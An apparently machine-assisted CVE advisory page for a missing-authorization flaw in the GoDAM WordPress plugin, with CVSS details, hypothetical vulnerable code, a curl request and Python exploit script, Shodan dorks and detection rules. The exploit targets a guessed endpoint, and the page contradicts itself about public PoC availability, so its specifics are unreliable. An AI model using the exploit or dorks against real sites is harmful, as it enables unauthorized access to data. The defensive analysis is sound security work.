☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Rtcamp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67584

CVE-2025-67584 Missing Authorization in Rtcamp
📅 PUBLISHED: 2025-12-09 14:14 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67584 is a Missing Authorization vulnerability in the rtCamp GoDAM WordPress plugin, affecting versions from n/a through 1.4.6. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation. The vulnerability has a CVSS score of 5.3 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability specifically affects the WordPress plugin ecosystem, not the core WordPress software or server infrastructure (Apache/Nginx). The issue lies within the GoDAM plugin's authorization checks, which fail to properly validate user permissions for certain actions.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: None
  • Availability Impact: None

The threat level is Medium due to the low complexity and no required privileges, but the impact is limited to low confidentiality loss.

Deep Dive & Mechanics

The vulnerability stems from Missing Authorization (CWE-862) in the GoDAM plugin's REST API endpoints or AJAX handlers. The plugin fails to enforce proper capability checks (e.g., current_user_can()) before executing sensitive operations. An unauthenticated attacker can send crafted HTTP requests to trigger actions that should require administrative privileges, such as:

  • Accessing or modifying media library metadata
  • Retrieving plugin configuration or logs
  • Triggering internal plugin functions

The flaw is present in all versions up to and including 1.4.6. The exact vulnerable function is not publicly documented, but typical patterns involve missing wp_verify_nonce() or current_user_can() checks in WordPress plugin development.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common WordPress authorization patterns:

Vulnerable Code (example):

add_action('wp_ajax_nopriv_godam_get_data', 'godam_get_data');
function godam_get_data() {
    // No capability check
    $data = get_option('godam_settings');
    wp_send_json_success($data);
}

Patched Code (example):

add_action('wp_ajax_godam_get_data', 'godam_get_data');
add_action('wp_ajax_nopriv_godam_get_data', 'godam_get_data');
function godam_get_data() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_option('godam_settings');
    wp_send_json_success($data);
}

The patched version adds a capability check (current_user_can('manage_options')) and restricts the action to authenticated users only.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress site with GoDAM plugin <= 1.4.6
  • Network access to the target

Exploitation Steps:

  1. Identify vulnerable endpoints by analyzing plugin source code or using fuzzing tools.
  2. Send a crafted HTTP request to the vulnerable endpoint without authentication:
    curl -X POST http://target.com/wp-admin/admin-ajax.php \
      -d "action=godam_get_data"
    
  3. If successful, the response will contain sensitive data (e.g., plugin configuration, media metadata).

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {"action": "godam_get_data"}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Exploit successful:", response.text)
else:
    print("Exploit failed")

Blue Team

Detection & Prevention:

  • Monitor for unusual AJAX requests to admin-ajax.php with nopriv_ actions.
  • Implement Web Application Firewall (WAF) rules to block requests to unknown or suspicious AJAX actions.
  • Regularly update the GoDAM plugin to the latest version.
  • Use WordPress security plugins (e.g., Wordfence) to enforce capability checks.

Honeypot Setup:

  • Deploy a fake WordPress instance with GoDAM plugin to capture exploitation attempts.
  • Log all requests to admin-ajax.php and analyze for missing authorization patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /wp-admin/admin-ajax.php with action=godam_* parameters
    • Unauthenticated access to plugin-specific REST API endpoints (e.g., /wp-json/godam/v1/*)
  • File IOCs:
    • Modified plugin files in /wp-content/plugins/godam/
    • Unexpected log entries in /wp-content/debug.log
  • Behavioral IOCs:
    • Unauthorized access to media library or plugin settings
    • Anomalous traffic from IPs not associated with legitimate users

Detection Engineering

YARA Rule

rule CVE_2025_67584_GoDAM_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2025-67584 in GoDAM WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-67584"
    strings:
        $ajax_action = "godam_" nocase
        $nopriv = "nopriv_" nocase
        $admin_ajax = "admin-ajax.php" nocase
    condition:
        $admin_ajax and $ajax_action and $nopriv
}

Sigma Rule

title: CVE-2025-67584 GoDAM Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests targeting GoDAM plugin actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=godam_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin updates or admin actions
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-67584 GoDAM Missing Authorization Exploitation";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=godam_";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-67584;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the GoDAM plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=godam_* parameters from unauthenticated users.
  3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

  • Apply the official patch once released by rtCamp.
  • If patching is not possible, consider replacing the plugin with an alternative.

Workaround:

  • Add custom code to the theme's functions.php to enforce capability checks:
    add_action('init', function() {
        if (defined('DOING_AJAX') && DOING_AJAX) {
            if (strpos($_REQUEST['action'], 'godam_') === 0) {
                if (!current_user_can('manage_options')) {
                    wp_die('Unauthorized', 403);
                }
            }
        }
    });
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"GoDAM"
http.html:"godam"
http.html:"rtcamp" "godam"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67584/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.